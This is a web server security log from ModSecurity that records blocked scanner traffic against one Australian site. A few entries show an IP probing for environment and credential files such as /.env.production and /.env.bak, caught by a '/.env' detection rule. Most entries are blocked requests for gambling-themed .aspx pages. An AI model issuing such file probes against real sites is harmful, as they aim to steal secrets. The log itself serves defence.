[Thu Apr 16 23:11:36.827899 2026] [:error] [pid 7880:tid 7895] [client 35.197.38.167:51554] [client 35.197.38.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aeD8KKaezm4fSGc0yULT8AAAAYo"]
[Thu Apr 16 23:11:42.209441 2026] [:error] [pid 7880:tid 7890] [client 35.197.38.167:50690] [client 35.197.38.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "aeD8Lqaezm4fSGc0yULT-wAAAYU"]
[Thu Apr 16 23:12:15.924432 2026] [:error] [pid 57639:tid 57646] [client 35.197.38.167:34352] [client 35.197.38.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.bak"] [unique_id "aeD8T6MCQoTw7TsxWukKIgAAAMA"]
[Thu Apr 16 23:12:46.043727 2026] [:error] [pid 7880:tid 7891] [client 35.197.38.167:40884] [client 35.197.38.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.save"] [unique_id "aeD8bqaezm4fSGc0yULUKgAAAYY"]
[Thu Apr 16 23:12:49.950263 2026] [:error] [pid 57639:tid 57657] [client 35.197.38.167:40944] [client 35.197.38.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/core/.env"] [unique_id "aeD8caMCQoTw7TsxWukKwAAAAMs"]
[Fri Apr 17 00:26:05.006787 2026] [:error] [pid 43385:tid 43415] [client 93.158.213.25:50954] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aeENncnIxkJaUI8KNs7wYwAAABg"]
[Fri Apr 17 00:26:07.863951 2026] [:error] [pid 43482:tid 43499] [client 93.158.213.25:48730] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aeENnz9SZnuKxlHrct13ggAAAM8"]
[Fri Apr 17 00:26:10.633419 2026] [:error] [pid 43386:tid 43436] [client 93.158.213.25:48732] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aeENou91GAVgUfhPVDGtxAAAAFA"]
[Fri Apr 17 00:26:13.458442 2026] [:error] [pid 43482:tid 43507] [client 93.158.213.25:48744] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aeENpT9SZnuKxlHrct13lQAAANc"]
[Fri Apr 17 00:26:16.161966 2026] [:error] [pid 43387:tid 43458] [client 93.158.213.25:49010] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aeENqCBNsONqHxWTakUnugAAAIc"]
[Fri Apr 17 00:26:19.298079 2026] [:error] [pid 43482:tid 43497] [client 93.158.213.25:49020] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aeENqz9SZnuKxlHrct13qAAAAM0"]
[Fri Apr 17 00:26:22.561274 2026] [:error] [pid 43482:tid 43500] [client 93.158.213.25:49024] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aeENrj9SZnuKxlHrct13uQAAANA"]
[Fri Apr 17 00:26:25.911847 2026] [:error] [pid 43386:tid 43445] [client 93.158.213.25:49028] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aeENse91GAVgUfhPVDGt9AAAAFg"]
[Fri Apr 17 00:26:29.185247 2026] [:error] [pid 43387:tid 43468] [client 93.158.213.25:39532] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aeENtSBNsONqHxWTakUn1wAAAI8"]
[Fri Apr 17 00:26:32.166856 2026] [:error] [pid 3245:tid 3264] [client 93.158.213.25:39536] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aeENuKESOMTHVLs-uFC2ewAAAQI"]
[Fri Apr 17 00:26:34.957285 2026] [:error] [pid 3245:tid 3266] [client 93.158.213.25:39538] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aeENuqESOMTHVLs-uFC2jQAAAQQ"]
[Fri Apr 17 00:26:37.551825 2026] [:error] [pid 43387:tid 43448] [client 93.158.213.25:46718] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aeENvSBNsONqHxWTakUn5QAAAIA"]
[Fri Apr 17 00:26:40.618780 2026] [:error] [pid 3245:tid 3286] [client 93.158.213.25:46734] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aeENwKESOMTHVLs-uFC2pAAAARg"]
[Fri Apr 17 00:26:43.358588 2026] [:error] [pid 43387:tid 43472] [client 93.158.213.25:46738] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aeENwyBNsONqHxWTakUn9wAAAJM"]
[Fri Apr 17 00:26:46.590172 2026] [:error] [pid 43385:tid 43405] [client 93.158.213.25:54994] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "aeENxsnIxkJaUI8KNs7wmwAAABA"]
[Fri Apr 17 00:26:49.434448 2026] [:error] [pid 43482:tid 43498] [client 93.158.213.25:55000] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aeENyT9SZnuKxlHrct14DQAAAM4"]
[Fri Apr 17 00:26:52.350477 2026] [:error] [pid 43385:tid 43415] [client 93.158.213.25:55006] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aeENzMnIxkJaUI8KNs7wnwAAABg"]
[Fri Apr 17 00:26:55.406562 2026] [:error] [pid 43387:tid 43468] [client 93.158.213.25:55018] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aeENzyBNsONqHxWTakUoGAAAAI8"]
[Fri Apr 17 00:26:58.360713 2026] [:error] [pid 3245:tid 3269] [client 93.158.213.25:54656] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "aeEN0qESOMTHVLs-uFC27gAAAQc"]
[Fri Apr 17 00:27:01.344850 2026] [:error] [pid 43482:tid 43485] [client 93.158.213.25:54668] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aeEN1T9SZnuKxlHrct14JAAAAME"]
[Fri Apr 17 00:27:27.305851 2026] [:error] [pid 3245:tid 3284] [client 93.158.213.25:54670] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aeEN76ESOMTHVLs-uFC3agAAARY"]
[Fri Apr 17 00:27:30.089835 2026] [:error] [pid 43482:tid 43497] [client 93.158.213.25:36556] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aeEN8j9SZnuKxlHrct14cQAAAM0"]
[Fri Apr 17 00:27:33.131438 2026] [:error] [pid 43385:tid 43406] [client 93.158.213.25:36558] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aeEN9cnIxkJaUI8KNs7w1wAAABE"]
[Fri Apr 17 00:27:35.678539 2026] [:error] [pid 43385:tid 43395] [client 93.158.213.25:36560] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aeEN98nIxkJaUI8KNs7w2gAAAAY"]
[Fri Apr 17 00:27:38.449796 2026] [:error] [pid 43385:tid 43403] [client 93.158.213.25:38516] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aeEN-snIxkJaUI8KNs7w4gAAAA4"]
[Fri Apr 17 00:27:40.994878 2026] [:error] [pid 3245:tid 3270] [client 93.158.213.25:38532] [client 93.158.213.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aeEN_KESOMTHVLs-uFC3tAAAAQg"]
[Fri Apr 17 02:33:03.523466 2026] [:error] [pid 43385:tid 43394] [client 91.137.27.140:52411] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aeErX8nIxkJaUI8KNs4ywgAAAAU"]
[Fri Apr 17 02:33:06.058973 2026] [:error] [pid 43482:tid 43492] [client 91.137.27.140:58149] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aeErYj9SZnuKxlHrct26BQAAAMg"]
[Fri Apr 17 02:33:08.515250 2026] [:error] [pid 11854:tid 11877] [client 91.137.27.140:2990] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aeErZNxJCSIaqP1XSdakaQAAAlQ"]
[Fri Apr 17 02:33:11.077922 2026] [:error] [pid 43387:tid 43461] [client 91.137.27.140:47471] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aeErZyBNsONqHxWTakVPbwAAAIo"]
[Fri Apr 17 02:33:13.467420 2026] [:error] [pid 43387:tid 43468] [client 91.137.27.140:37983] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aeEraSBNsONqHxWTakVPdwAAAI8"]
[Fri Apr 17 02:33:15.864250 2026] [:error] [pid 43387:tid 43448] [client 91.137.27.140:64148] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aeErayBNsONqHxWTakVPgAAAAIA"]
[Fri Apr 17 02:33:18.240345 2026] [:error] [pid 43482:tid 43499] [client 91.137.27.140:22516] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aeErbj9SZnuKxlHrct26TQAAAM8"]
[Fri Apr 17 02:33:20.670536 2026] [:error] [pid 11692:tid 11703] [client 91.137.27.140:36815] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aeErcM1AYuhm4BZwKNomhgAAAgY"]
[Fri Apr 17 02:33:23.089064 2026] [:error] [pid 43387:tid 43461] [client 91.137.27.140:10418] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aeErcyBNsONqHxWTakVPjgAAAIo"]
[Fri Apr 17 02:33:25.519563 2026] [:error] [pid 43386:tid 43424] [client 91.137.27.140:60526] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aeErde91GAVgUfhPVDHmTgAAAEQ"]
[Fri Apr 17 02:33:28.074222 2026] [:error] [pid 43482:tid 43507] [client 91.137.27.140:48736] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aeEreD9SZnuKxlHrct26cgAAANc"]
[Fri Apr 17 02:33:30.484667 2026] [:error] [pid 43385:tid 43404] [client 91.137.27.140:12543] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aeEresnIxkJaUI8KNs4y3gAAAA8"]
[Fri Apr 17 02:33:33.036304 2026] [:error] [pid 26480:tid 26495] [client 91.137.27.140:62980] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aeErfQwLDJKTQNfarA2PkQAAAc0"]
[Fri Apr 17 02:33:35.619792 2026] [:error] [pid 43387:tid 43460] [client 91.137.27.140:46399] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aeErfyBNsONqHxWTakVPpQAAAIk"]
[Fri Apr 17 02:33:38.023847 2026] [:error] [pid 11692:tid 11713] [client 91.137.27.140:51778] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aeErgs1AYuhm4BZwKNompgAAAhA"]
[Fri Apr 17 02:33:40.437228 2026] [:error] [pid 43386:tid 43427] [client 91.137.27.140:23724] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aeErhO91GAVgUfhPVDHmYwAAAEc"]
[Fri Apr 17 02:33:42.812151 2026] [:error] [pid 43386:tid 43426] [client 91.137.27.140:34008] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aeErhu91GAVgUfhPVDHmZQAAAEY"]
[Fri Apr 17 02:33:45.320585 2026] [:error] [pid 43386:tid 43429] [client 91.137.27.140:40614] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aeErie91GAVgUfhPVDHmZgAAAEk"]
[Fri Apr 17 02:33:47.696406 2026] [:error] [pid 3245:tid 3265] [client 91.137.27.140:57282] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aeEri6ESOMTHVLs-uFDeDgAAAQM"]
[Fri Apr 17 02:33:50.117407 2026] [:error] [pid 43386:tid 43425] [client 91.137.27.140:5805] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aeErju91GAVgUfhPVDHmcwAAAEU"]
[Fri Apr 17 02:33:52.497548 2026] [:error] [pid 43385:tid 43394] [client 91.137.27.140:18458] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aeErkMnIxkJaUI8KNs4y4QAAAAU"]
[Fri Apr 17 02:33:55.088072 2026] [:error] [pid 43387:tid 43458] [client 91.137.27.140:55087] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aeErkyBNsONqHxWTakVPuAAAAIc"]
[Fri Apr 17 02:33:57.492360 2026] [:error] [pid 43387:tid 43471] [client 91.137.27.140:55942] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aeErlSBNsONqHxWTakVPyAAAAJI"]
[Fri Apr 17 02:33:59.847518 2026] [:error] [pid 43387:tid 43461] [client 91.137.27.140:47293] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aeErlyBNsONqHxWTakVPzQAAAIo"]
